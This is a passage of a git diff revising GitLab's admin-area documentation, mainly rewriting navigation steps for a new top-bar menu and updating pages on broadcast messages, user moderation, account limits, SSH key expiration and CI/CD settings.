your GitLab instance, add broadcast message. +To display messages to users on your GitLab instance, add a broadcast message. To add a broadcast message: -1. Navigate to the **Admin Area > Messages** page. -1. Add the text for the message to the **Message** field. Markdown and emoji are supported. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Messages**. +1. Add the text for the message to the **Message** field. You can style a message's content using Markdown, emoji, and the `a` and `br` HTML tags. + The `br` tag inserts a line break. The `a` HTML tag accepts `class` and `style` attributes with the following CSS properties: + - `color` + - `border` + - `background` + - `padding` + - `margin` + - `text-decoration` 1. Select one of the suggested background colors, or add the hex code of a different color. The default color is orange. +1. Select the **Dismissable** checkbox to enable users to dismiss the broadcast message. 1. If required, add a **Target Path** to only show the broadcast message on URLs matching that path. You can use the wildcard character `*` to match multiple URLs, for example `mygroup/myproject*`. 1. Select a date for the message to start and end. -1. Click the **Add broadcast message** button. - -NOTE: -When scoping messages, you can't use preceding or trailing slashes. For example, -instead of `/mygroup/myproject/`, you must use `mygroup/myproject`. A fix is -[planned for GitLab 13.12](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59482). +1. Select **Add broadcast message**. NOTE: The **Background color** field expects the value to be a hexadecimal code because the form uses the [color_field](https://api.rubyonrails.org/v6.0.3.4/classes/ActionView/Helpers/FormHelper.html#method-i-color_field) helper method, which generates the proper HTML to render. -NOTE: -Once a broadcast message has expired, it is no longer displayed in the UI but is still listed in the -list of broadcast messages. User can also dismiss a broadcast message if the option **Dismissable** is set. +When a broadcast message expires, it no longer displays in the user interface but is still listed in the +list of broadcast messages. -## Editing a broadcast message +## Edit a broadcast message -If changes are required to a broadcast message, they can be edited. +If you need to make changes to a broadcast message, you can edit it. To edit a broadcast message: -1. Navigate to the **Admin Area > Messages** page. -1. From the list of broadcast messages, click the appropriate button to edit the message. -1. After making the required changes, click the **Update broadcast message** button. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Messages**. +1. From the list of broadcast messages, select the edit button for the message. +1. After making the required changes, select **Update broadcast message**. -NOTE: Expired messages can be made active again by changing their end date. -## Deleting a broadcast message +## Delete a broadcast message -Broadcast messages that are no longer required can be deleted. +If you no longer require a broadcast message, you can delete it. +You can delete a broadcast message while it's active. To delete a broadcast message: -1. Navigate to the **Admin Area > Messages** page. -1. From the list of broadcast messages, click the appropriate button to delete the message. - -Once deleted, the broadcast message is removed from the list of broadcast messages. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Messages**. +1. From the list of broadcast messages, select the delete button for the message. -NOTE: -Broadcast messages can be deleted while active. +When a broadcast message is deleted, it's removed from the list of broadcast messages. <!-- ## Troubleshooting diff --git a/doc/user/admin_area/credentials_inventory.md b/doc/user/admin_area/credentials_inventory.md index c47dc7d70f5..dfb37cb8646 100644 --- a/doc/user/admin_area/credentials_inventory.md +++ b/doc/user/admin_area/credentials_inventory.md @@ -9,7 +9,9 @@ type: howto > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20912) in GitLab 12.6. -GitLab administrators are responsible for the overall security of their instance. To assist, GitLab provides a Credentials inventory to keep track of all the credentials that can be used to access their self-managed instance. +GitLab administrators are responsible for the overall security of their instance. To assist, GitLab +provides a Credentials inventory to keep track of all the credentials that can be used to access +their self-managed instance. Using Credentials inventory, you can see all the personal access tokens (PAT), SSH keys, and GPG keys that exist in your GitLab instance. In addition, you can [revoke](#revoke-a-users-personal-access-token) @@ -21,7 +23,10 @@ and [delete](#delete-a-users-ssh-key) and see: - When they expire. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214809) in GitLab 13.2. - When they were revoked. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214809) in GitLab 13.2. -To access the Credentials inventory, navigate to **Admin Area > Credentials**. +To access the Credentials inventory: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Credentials**. The following is an example of the Credentials inventory page: diff --git a/doc/user/admin_area/custom_project_templates.md b/doc/user/admin_area/custom_project_templates.md index b4b33df37bf..6cf3c5bbd7d 100644 --- a/doc/user/admin_area/custom_project_templates.md +++ b/doc/user/admin_area/custom_project_templates.md @@ -30,12 +30,12 @@ see [Custom group-level project templates](../group/custom_project_templates.md) ## Configuring GitLab administrators can configure a GitLab group that serves as template -source for an entire GitLab instance by: +source for an entire GitLab instance: -1. Navigating to **Admin Area > Settings > Templates**. -1. Expanding **Custom project templates**. -1. Selecting a group to use. -1. Pressing **Save changes**. +1. On the top bar, navigate to **Menu > Admin > Settings > Templates**. +1. Expand **Custom project templates**. +1. Select a group to use. +1. Select **Save changes**. NOTE: Projects below subgroups of the template group are **not** supported. diff --git a/doc/user/admin_area/diff_limits.md b/doc/user/admin_area/diff_limits.md index 32756ab4780..37fdb3ae195 100644 --- a/doc/user/admin_area/diff_limits.md +++ b/doc/user/admin_area/diff_limits.md @@ -10,28 +10,34 @@ type: reference You can set a maximum size for display of diff files (patches). For details about diff files, [view changes between files](../project/merge_requests/changes.md). +Read more about the [built-in limits for merge requests and diffs](../../administration/instance_limits.md#merge-requests). -## Maximum diff patch size +## Configure diff limits -Diff files which exceed this value are presented as 'too large' and cannot -be expandable. Instead of an expandable view, a link to the blob view is -shown. +WARNING: +These settings are experimental. An increased maximum increases resource +consumption of your instance. Keep this in mind when adjusting the maximum. + +To speed the loading time of merge request views and branch comparison views +on your instance, you can configure three instance-level maximum values for diffs: + +- **Maximum diff patch size**: The total size, in bytes, of the entire diff. +- **Maximum diff files**: The total number of files changed in a diff. +- **Maximum diff files**: The total number of files changed in a diff. The default value is 1000. +- **Maximum diff lines**: The total number of lines changed in a diff. The default value is 50,000. -Patches greater than 10% of this size are automatically collapsed, and a -link to expand the diff is presented. -This affects merge requests and branch comparison views. +When a diff reaches 10% of any of these values, the files are shown in a +collapsed view, with a link to expand the diff. Diffs that exceed any of the +set values are presented as **Too large** are cannot be expanded in the UI. -To set the maximum diff patch size: +To configure these values: -1. Go to the Admin Area (**{admin}**) and select **Settings > General**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**. 1. Expand **Diff limits**. 1. Enter a value for **Maximum diff patch size**, measured in bytes. 1. Select **Save changes**. -WARNING: -This setting is experimental. An increased maximum increases resource -consumption of your instance. Keep this in mind when adjusting the maximum. - <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/user/admin_area/geo_nodes.md b/doc/user/admin_area/geo_nodes.md index e5132ef4e96..32b1555c33d 100644 --- a/doc/user/admin_area/geo_nodes.md +++ b/doc/user/admin_area/geo_nodes.md @@ -82,7 +82,7 @@ In GitLab 11.11, **secondary** nodes can use identical external URLs as long as a unique `name` is set for each Geo node. The `gitlab.rb` setting `gitlab_rails['geo_node_name']` must: -- Be set for each GitLab instance that runs `unicorn`, `sidekiq`, or `geo_logcursor`. +- Be set for each GitLab instance that runs `puma`, `sidekiq`, or `geo_logcursor`. - Match a Geo node name. The load balancer must use sticky sessions in order to avoid authentication diff --git a/doc/user/admin_area/img/cohorts_v13_9_a.png b/doc/user/admin_area/img/cohorts_v13_9_a.png Binary files differindex a891b5b12c2..1a4590290b9 100644 --- a/doc/user/admin_area/img/cohorts_v13_9_a.png +++ b/doc/user/admin_area/img/cohorts_v13_9_a.png diff --git a/doc/user/admin_area/index.md b/doc/user/admin_area/index.md index 5d1fde1c767..2e4a8261c63 100644 --- a/doc/user/admin_area/index.md +++ b/doc/user/admin_area/index.md @@ -7,12 +7,13 @@ type: reference # GitLab Admin Area **(FREE SELF)** -The Admin Area provides a web UI for administering some features of GitLab self-managed instances. +The Admin Area provides a web UI to manage and configure some features of GitLab +self-managed instances. If you are an Admin user, you can access the Admin Area +by visiting `/admin` on your self-managed instance. You can also access it through +the UI: -To access the Admin Area, either: - -- Click the Admin Area icon (**{admin}**). -- Visit `/admin` on your self-managed instance. +- GitLab versions 14.0 and later: on the top bar, select **Menu >** **{admin}** **Admin**. +- GitLab versions 13.12 and earlier: on the top bar, select the Admin Area icon (**{admin}**). NOTE: Only admin users can access the Admin Area. @@ -35,7 +36,7 @@ The Admin Area is made up of the following sections: | **{location-dot}** Geo | Configure and maintain [Geo nodes](geo_nodes.md). | | **{key}** Deploy keys | Create instance-wide [SSH deploy keys](../project/deploy_keys/index.md). | | **{lock}** Credentials | View [credentials](credentials_inventory.md) that can be used to access your instance. | -| **{template}** Service Templates | Create [service templates](../project/integrations/services_templates.md) for projects. | +| **{template}** Integrations | Manage [instance-level default settings](settings/project_integration_management.md) for a project integration. | | **{labels}** Labels | Create and maintain [labels](labels.md) for your GitLab instance. | | **{appearance}** Appearance | Customize [GitLab appearance](appearance.md). | | **{settings}** Settings | Modify the [settings](settings/index.md) for your GitLab instance. | @@ -46,7 +47,7 @@ The Dashboard provides statistics and system information about the GitLab instan To access the Dashboard, either: -- Click the Admin Area icon (**{admin}**). +- On the top bar, select **Menu >** **{admin}** **Admin**. - Visit `/admin` on your self-managed instance. The Dashboard is the default view of the Admin Area, and is made up of the following sections: @@ -68,10 +69,12 @@ The following topics document the **Overview** section of the Admin Area. You can administer all projects in the GitLab instance from the Admin Area's Projects page. -To access the Projects page, go to **Admin Area > Overview > Projects**. +To access the Projects page: -Click the **All**, **Private**, **Internal**, or **Public** tab to list only projects of that -criteria. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Overview > Projects**. +1. Select the **All**, **Private**, **Internal**, or **Public** tab to list only + projects of that criteria. By default, all projects are listed, in reverse order of when they were last updated. For each project, the following information is listed: @@ -106,9 +109,10 @@ You can combine the filter options. For example, to list only public projects wi ### Administering Users -You can administer all users in the GitLab instance from the Admin Area's Users page. +You can administer all users in the GitLab instance from the Admin Area's Users page: -To access the Users page, go to **Admin Area > Overview > Users**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Overview > Users**. To list users matching a specific criteria, click on one of the following tabs on the **Users** page: @@ -151,7 +155,11 @@ An administrator can "impersonate" any other user, including other administrator This allows the administrator to "see what the user sees," and take actions on behalf of the user. You can impersonate a user in the following ways: -- Through the UI, by selecting **Admin Area > Overview > Users > Select a user > Impersonate**. +- Through the UI: + 1. On the top bar, select **Menu >** **{admin}** **Admin**. + 1. In the left sidebar, select **Overview > Users**. + 1. From the list of users, select a user. + 1. Select **Impersonate**. - With the API, using [impersonation tokens](../../api/README.md#impersonation-tokens). All impersonation activities are [captured with audit events](../../administration/audit_events.md#impersonation-data). @@ -197,7 +205,10 @@ The [Cohorts](user_cohorts.md) tab displays the monthly cohorts of new users and You can administer all groups in the GitLab instance from the Admin Area's Groups page. -To access the Groups page, go to **Admin Area > Overview > Groups**. +To access the Groups page: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Overview > Groups**. For each group, the page displays their name, description, size, number of projects in the group, number of members, and whether the group is private, internal, or public. To edit a group, click @@ -216,11 +227,12 @@ To [Create a new group](../group/index.md#create-a-group) click **New group**. You can administer all jobs in the GitLab instance from the Admin Area's Jobs page. -To access the Jobs page, go to **Admin Area > Overview > Jobs**. +To access the Jobs page: -All jobs are listed, in descending order of job ID. - -Click the **All** tab to list all jobs. Click the **Pending**, **Running**, or **Finished** tab to list only jobs of that status. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Overview > Jobs**. All jobs are listed, in descending order of job ID. +1. Click the **All** tab to list all jobs. Click the **Pending**, **Running**, or **Finished** + tab to list only jobs of that status. For each job, the following details are listed: @@ -241,7 +253,10 @@ For each job, the following details are listed: You can administer all runners in the GitLab instance from the Admin Area's **Runners** page. See [GitLab Runner](https://docs.gitlab.com/runner/) for more information. -To access the **Runners** page, go to **Admin Area > Overview > Runners**. +To access the **Runners** page: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Overview > Runners**. The **Runners** page features: @@ -287,7 +302,10 @@ You can also edit, pause, or remove each runner. You can list all Gitaly servers in the GitLab instance from the Admin Area's **Gitaly Servers** page. For more details, see [Gitaly](../../administration/gitaly/index.md). -To access the **Gitaly Servers** page, go to **Admin Area > Overview > Gitaly Servers**. +To access the **Gitaly Servers** page: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Overview > Gitaly Servers**. For each Gitaly server, the following details are listed: @@ -344,7 +362,7 @@ For multi-node systems we recommend ingesting the logs into services like Elasti |:------------------------|:---------| | `application.log` | GitLab user activity | | `git_json.log` | Failed GitLab interaction with Git repositories | -| `production.log` | Requests received from Unicorn, and the actions taken to serve those requests | +| `production.log` | Requests received from Puma, and the actions taken to serve those requests | | `sidekiq.log` | Background jobs | | `repocheck.log` | Repository activity | | `integrations_json.log` | Activity between GitLab and integrated systems | diff --git a/doc/user/admin_area/license.md b/doc/user/admin_area/license.md index 73472fcf67a..58876b87576 100644 --- a/doc/user/admin_area/license.md +++ b/doc/user/admin_area/license.md @@ -34,13 +34,13 @@ is locked. The first time you visit your GitLab EE installation signed in as an administrator, you should see a note urging you to upload a license with a link that takes you -to **Admin Area > License**. +to the **License** area. -Otherwise, you can: +Otherwise, to manually go to the **License** area: -1. Navigate manually to the **Admin Area** by selecting the wrench (**{admin}**) icon in the top menu. +1. On the top bar, select **Menu >** **{admin}** **Admin**. -1. Navigate to the **License** tab, and select **Upload New License**. +1. On the left sidebar, select **License**, and select **Upload New License**. - *If you've received a `.gitlab-license` file:* 1. Download the license file to your local machine. @@ -113,9 +113,9 @@ before this occurs. To remove a license from a self-managed instance: -1. In the top navigation bar, click the **{admin}** wrench icon to navigate to the [Admin Area](index.md). -1. Click **License** in the left sidebar. -1. Click **Remove License**. +1. On the top bar, select **Menu >** **{admin}** **Admin** to go to the [Admin Area](index.md). +1. On the left sidebar, select **License**. +1. Select **Remove license**. ## License history diff --git a/doc/user/admin_area/merge_requests_approvals.md b/doc/user/admin_area/merge_requests_approvals.md index fadccadaf2c..b221b1d51a7 100644 --- a/doc/user/admin_area/merge_requests_approvals.md +++ b/doc/user/admin_area/merge_requests_approvals.md @@ -15,8 +15,8 @@ project level. To enable merge request approval rules for an instance: -1. Navigate to **Admin Area >** **{push-rules}** **Push Rules** and expand **Merge -requests approvals**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **{push-rules}** **Push Rules**, and expand **Merge request (MR) approvals**. 1. Set the required rule. 1. Click **Save changes**. diff --git a/doc/user/admin_area/moderate_users.md b/doc/user/admin_area/moderate_users.md index c04003dd75f..71e72cc630c 100644 --- a/doc/user/admin_area/moderate_users.md +++ b/doc/user/admin_area/moderate_users.md @@ -21,9 +21,10 @@ administrators can choose to block the user. Users can be blocked [via an abuse report](review_abuse_reports.md#blocking-users), or directly from the Admin Area. To do this: -1. Navigate to **Admin Area > Overview > Users**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Overview > Users**. 1. Select a user. -1. Under the **Account** tab, click **Block user**. +1. Under the **Account** tab, select **Block user**. A blocked user: @@ -43,10 +44,11 @@ A blocked user does not consume a [seat](../../subscriptions/self_managed/index. A blocked user can be unblocked from the Admin Area. To do this: -1. Navigate to **Admin Area > Overview > Users**. -1. Click on the **Blocked** tab. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Overview > Users**. +1. Select on the **Blocked** tab. 1. Select a user. -1. Under the **Account** tab, click **Unblock user**. +1. Under the **Account** tab, select **Unblock user**. Users can also be unblocked using the [GitLab API](../../api/users.md#unblock-user). @@ -74,16 +76,17 @@ with the following differences: A deactivated user: - Cannot access Git repositories or the API. -- Will not receive any notifications from GitLab. -- Will not be able to use [slash commands](../../integration/slash_commands.md). +- Does not receive any notifications from GitLab. +- Does not be able to use [slash commands](../../integration/slash_commands.md). Personal projects, and group and user history of the deactivated user are left intact. A user can be deactivated from the Admin Area. To do this: -1. Navigate to **Admin Area > Overview > Users**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Overview > Users**. 1. Select a user. -1. Under the **Account** tab, click **Deactivate user**. +1. Under the **Account** tab, select **Deactivate user**. Please note that for the deactivation option to be visible to an admin, the user: @@ -95,6 +98,23 @@ Users can also be deactivated using the [GitLab API](../../api/users.md#deactiva NOTE: A deactivated user does not consume a [seat](../../subscriptions/self_managed/index.md#billable-users). +### Automatically deactivate dormant users + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/320875) in GitLab 14.0. + +Administrators can enable automatic deactivation of users who have not signed in, or have no activity +in the last 90 days. To do this: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > General**. +1. Expand the **Account and limit** section. +1. Under **Dormant users**, check **Deactivate dormant users after 90 days of inactivity**. +1. Select **Save changes**. + +When this feature is enabled, GitLab runs a job once a day to deactivate the dormant users. + +A maximum of 100,000 users can be deactivated per day. + ### Activating a user > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22257) in GitLab 12.4. @@ -103,10 +123,11 @@ A deactivated user can be activated from the Admin Area. To do this: -1. Navigate to **Admin Area > Overview > Users**. -1. Click on the **Deactivated** tab. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Overview > Users**. +1. Select the **Deactivated** tab. 1. Select a user. -1. Under the **Account** tab, click **Activate user**. +1. Under the **Account** tab, select **Activate user**. Users can also be activated using the [GitLab API](../../api/users.md#activate-user). @@ -134,23 +155,25 @@ To completely block a user, administrators can choose to ban the user. Users can be banned using the Admin Area. To do this: -1. Navigate to **Admin Area > Overview > Users**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Overview > Users**. 1. Select a user. -1. Under the **Account** tab, click **Ban user**. +1. Under the **Account** tab, select **Ban user**. NOTE: This feature is a work in progress. Currently, banning a user only blocks them and does not hide their comments or issues. -This functionality will be implemented in follow up issues. +This functionality is planned to be implemented in follow up issues. ### Unban a user A banned user can be unbanned using the Admin Area. To do this: -1. Navigate to **Admin Area > Overview > Users**. -1. Click on the **Banned** tab. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Overview > Users**. +1. Select the **Banned** tab. 1. Select a user. -1. Under the **Account** tab, click **Unban user**. +1. Under the **Account** tab, select **Unban user**. NOTE: Unbanning a user changes the user's state to active and consumes a diff --git a/doc/user/admin_area/monitoring/health_check.md b/doc/user/admin_area/monitoring/health_check.md index 2d4683911fb..a3e46ea6225 100644 --- a/doc/user/admin_area/monitoring/health_check.md +++ b/doc/user/admin_area/monitoring/health_check.md @@ -143,9 +143,11 @@ This check is being exempt from Rack Attack. NOTE: Access token has been deprecated in GitLab 9.4 in favor of [IP whitelist](#ip-whitelist). -An access token needs to be provided while accessing the probe endpoints. The current -accepted token can be found under the **Admin Area > Monitoring > Health check** -(`admin/health_check`) page of your GitLab instance. +An access token needs to be provided while accessing the probe endpoints. You can +find the current accepted token in the user interface: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Monitoring > Health Check**. (`admin/health_check`)  diff --git a/doc/user/admin_area/review_abuse_reports.md b/doc/user/admin_area/review_abuse_reports.md index 12a3111c6f3..a179eb70453 100644 --- a/doc/user/admin_area/review_abuse_reports.md +++ b/doc/user/admin_area/review_abuse_reports.md @@ -16,7 +16,8 @@ reports in the Admin Area. To receive notifications of new abuse reports by e-mail, follow these steps: -1. Select **Admin Area > Settings > Reporting**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > Reporting**. 1. Expand the **Abuse reports** section. 1. Provide an email address. @@ -30,7 +31,10 @@ documentation](../report_abuse.md). ## Resolving abuse reports -To access abuse reports, go to **Admin Area > Abuse Reports**. +To access abuse reports: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Abuse Reports**. There are 3 ways to resolve an abuse report, with a button for each method: diff --git a/doc/user/admin_area/settings/account_and_limit_settings.md b/doc/user/admin_area/settings/account_and_limit_settings.md index 8bc5a035e2a..f2a849e1894 100644 --- a/doc/user/admin_area/settings/account_and_limit_settings.md +++ b/doc/user/admin_area/settings/account_and_limit_settings.md @@ -9,18 +9,22 @@ type: reference ## Default projects limit -You can change the default maximum number of projects that users can create in their personal namespace. -Navigate to **Admin Area > Settings > General**, then expand **Account and Limit**. -You can increase or decrease that `Default projects limit` value. +You can change the default maximum number of projects that users can create in their personal namespace: -- If you set `Default projects limit` to 0, users are not allowed to create projects - in their users personal namespace. However, projects can still be created in a group. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**, then expand **Account and limit**. +1. Increase or decrease that **Default projects limit** value. + +If you set **Default projects limit** to 0, users are not allowed to create projects +in their users personal namespace. However, projects can still be created in a group. ## Max attachment size -You can change the maximum file size for attachments in comments and replies in GitLab. -Navigate to **Admin Area > Settings > General**, then expand **Account and Limit**. -From here, you can increase or decrease by changing the value in `Maximum attachment size (MB)`. +You can change the maximum file size for attachments in comments and replies in GitLab: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**, then expand **Account and limit**. +1. Increase or decrease by changing the value in **Maximum attachment size (MB)**. NOTE: If you choose a size larger than the configured value for the web server, @@ -29,15 +33,26 @@ details. ## Max push size -You can change the maximum push size for your repository. -Navigate to **Admin Area > Settings > General**, then expand **Account and Limit**. -From here, you can increase or decrease by changing the value in `Maximum push size (MB)`. +You can change the maximum push size for your repository: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**, then expand **Account and limit**. +1. Increase or decrease by changing the value in **Maximum push size (MB)**. + +NOTE: +When you [add files to a repository](../../project/repository/web_editor.md#create-a-file) +through the web UI, the maximum **attachment** size is the limiting factor, +because the [web server](../../../development/architecture.md#components) +must receive the file before GitLab can generate the commit. +Use [Git LFS](../../../topics/git/lfs/index.md) to add large files to a repository. ## Max import size -You can change the maximum file size for imports in GitLab. -Navigate to **Admin Area > Settings > General**, then expand **Account and Limit**. -From here, you can increase or decrease by changing the value in `Maximum import size (MB)`. +You can change the maximum file size for imports in GitLab: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**, then expand **Account and limit**. +1. Increase or decrease by changing the value in **Maximum import size (MB)**. NOTE: If you choose a size larger than the configured value for the web server, @@ -55,7 +70,8 @@ A prefix can help you identify PATs visually, as well as with automation tools. Only a GitLab administrator can set the prefix, which is a global setting applied to any PAT generated in the system by any user: -1. Navigate to **Admin Area > Settings > General**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**. 1. Expand the **Account and limit** section. 1. Fill in the **Personal Access Token prefix** field. 1. Click **Save changes**. @@ -97,7 +113,8 @@ These settings can be found in: 1. Fill in the **Repository size limit (MB)** field in the **Naming, visibility** section. 1. Click **Save changes**. - GitLab global settings: - 1. From the Dashboard, navigate to **Admin Area > Settings > General**. + 1. On the top bar, select **Menu >** **{admin}** **Admin**. + 1. In the left sidebar, select **Settings > General**. 1. Expand the **Account and limit** section. 1. Fill in the **Size limit per repository (MB)** field. 1. Click **Save changes**. @@ -143,7 +160,8 @@ GitLab administrators can choose to customize the session duration (in minutes) To set a limit on how long these sessions are valid: -1. Navigate to **Admin Area > Settings > General**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**. 1. Expand the **Account and limit** section. 1. Fill in the **Session duration for Git operations when 2FA is enabled (minutes)** field. 1. Click **Save changes**. @@ -167,7 +185,8 @@ there are no restrictions. To set a lifetime on how long personal access tokens are valid: -1. Navigate to **Admin Area > Settings > General**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**. 1. Expand the **Account and limit** section. 1. Fill in the **Maximum allowable lifetime for personal access tokens (days)** field. 1. Click **Save changes**. @@ -182,22 +201,19 @@ Once a lifetime for personal access tokens is set, GitLab: ## Enforce SSH key expiration **(ULTIMATE SELF)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250480) in GitLab 13.9. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250480) in GitLab 13.9. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/320970) in GitLab 14.0. -By default, expired SSH keys **can still be used**. +By default, expired SSH keys **are not usable**. -WARNING: -Allowing use of expired SSH keys by default is deprecated and scheduled to change in GitLab 14.0. +To allow the use of expired SSH keys: -To prevent the use of expired SSH keys: - -1. Navigate to **Admin Area > Settings > General**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**. 1. Expand the **Account and limit** section. -1. Select the **Enforce SSH key expiration** checkbox. - -Enforcing SSH key expiration immediately disables all expired SSH keys. +1. Uncheck the **Enforce SSH key expiration** checkbox. -For more information, see the following issue on [SSH key expiration](https://gitlab.com/gitlab-org/gitlab/-/issues/320970). +Disabling SSH key expiration immediately enables all expired SSH keys. ## Do not enforce Personal Access Token expiration **(ULTIMATE SELF)** @@ -209,7 +225,8 @@ You can allow the use of expired PATs with the following steps: To do this: -1. Navigate to **Admin Area > Settings > General**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**. 1. Expand the **Account and limit** section. 1. Uncheck the **Enforce personal access token expiration** checkbox. @@ -221,8 +238,9 @@ To maintain integrity of user details in [Audit Events](../../../administration/ To do this: -1. Navigate to **Admin Area > Settings > General**, then expand **Account and Limit**. -1. Check the **Prevent users from changing their profile name** checkbox. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**, then expand **Account and limit**. +1. Select the **Prevent users from changing their profile name** checkbox. NOTE: When this ability is disabled, GitLab administrators can still use the diff --git a/doc/user/admin_area/settings/continuous_integration.md b/doc/user/admin_area/settings/continuous_integration.md index decd204dbe5..ffe969a6799 100644 --- a/doc/user/admin_area/settings/continuous_integration.md +++ b/doc/user/admin_area/settings/continuous_integration.md @@ -1,22 +1,22 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- -# Continuous Integration and Deployment Admin settings **(FREE SELF)** +# Continuous Integration and Deployment Admin Area settings **(FREE SELF)** -In this area, you will find settings for Auto DevOps, runners, and job artifacts. -You can find it in the [Admin Area](index.md) by navigating to -**Admin Area > Settings > CI/CD**. +The [Admin Area](index.md) has the instance settings for Auto DevOps, runners, and +job artifacts. -## Auto DevOps **(FREE SELF)** +## Auto DevOps To enable (or disable) [Auto DevOps](../../../topics/autodevops/index.md) for all projects: -1. Go to **Admin Area > Settings > CI/CD**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > CI/CD**. 1. Check (or uncheck to disable) the box that says **Default to Auto DevOps pipeline for all projects**. 1. Optionally, set up the [Auto DevOps base domain](../../../topics/autodevops/index.md#auto-devops-base-domain) which is used for Auto Deploy and Auto Review Apps. @@ -28,6 +28,25 @@ From now on, every existing project and newly created ones that don't have a If you want to disable it for a specific project, you can do so in [its settings](../../../topics/autodevops/index.md#enable-or-disable-auto-devops). +## Shared runner details + +To display details about the instance's shared runners in all projects' +runner settings: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **Continuous Integration and Deployment**. +1. Enter your shared runner details in the **Shared runner details** field. + +You can use [Markdown](../../markdown.md) for improved formatting. To see the rendered +details: + +1. On the top bar, select **Menu > Project** and select any group or project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **Runners**. + + + ## Maximum artifacts size **(FREE SELF)** The maximum size of the [job artifacts](../../../administration/job_artifacts.md) @@ -45,9 +64,10 @@ To change it at the: - Instance level: - 1. Go to **Admin Area > Settings > CI/CD**. - 1. Change the value of maximum artifacts size (in MB). - 1. Click **Save changes** for the changes to take effect. + 1. On the top bar, select **Menu >** **{admin}** **Admin**. + 1. On the left sidebar, select **Settings > CI/CD**. + 1. Change the value of maximum artifacts size (in MB). + 1. Click **Save changes** for the changes to take effect. - Group level (this overrides the instance setting): @@ -64,14 +84,15 @@ To change it at the: NOTE: The setting at all levels is only available to GitLab administrators. -## Default artifacts expiration **(FREE SELF)** +## Default artifacts expiration The default expiration time of the [job artifacts](../../../administration/job_artifacts.md) can be set in the Admin Area of your GitLab instance. The syntax of duration is described in [`artifacts:expire_in`](../../../ci/yaml/README.md#artifactsexpire_in) and the default value is `30 days`. -1. Go to **Admin Area > Settings > CI/CD**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > CI/CD**. 1. Change the value of default expiration time. 1. Click **Save changes** for the changes to take effect. @@ -85,12 +106,13 @@ be updated for artifacts created before this setting was changed. The administrator may need to manually search for and expire previously-created artifacts, as described in the [troubleshooting documentation](../../../administration/troubleshooting/gitlab_rails_cheat_sheet.md#remove-artifacts-more-than-a-week-old). -## Keep the latest artifacts for all jobs in the latest successful pipelines **(CORE ONLY)** +## Keep the latest artifacts for all jobs in the latest successful pipelines -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50889) in GitLab Core 13.9. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50889) in GitLab 13.9. -When enabled (default), the artifacts for the most recent pipeline for a ref are -locked against deletion and kept regardless of the expiry time. +When enabled (default), the artifacts of the most recent pipeline for each Git ref +([branches and tags](https://git-scm.com/book/en/v2/Git-Internals-Git-References)) +are locked against deletion and kept regardless of the expiry time. When disabled, the latest artifacts for any **new** successful or fixed pipelines are allowed 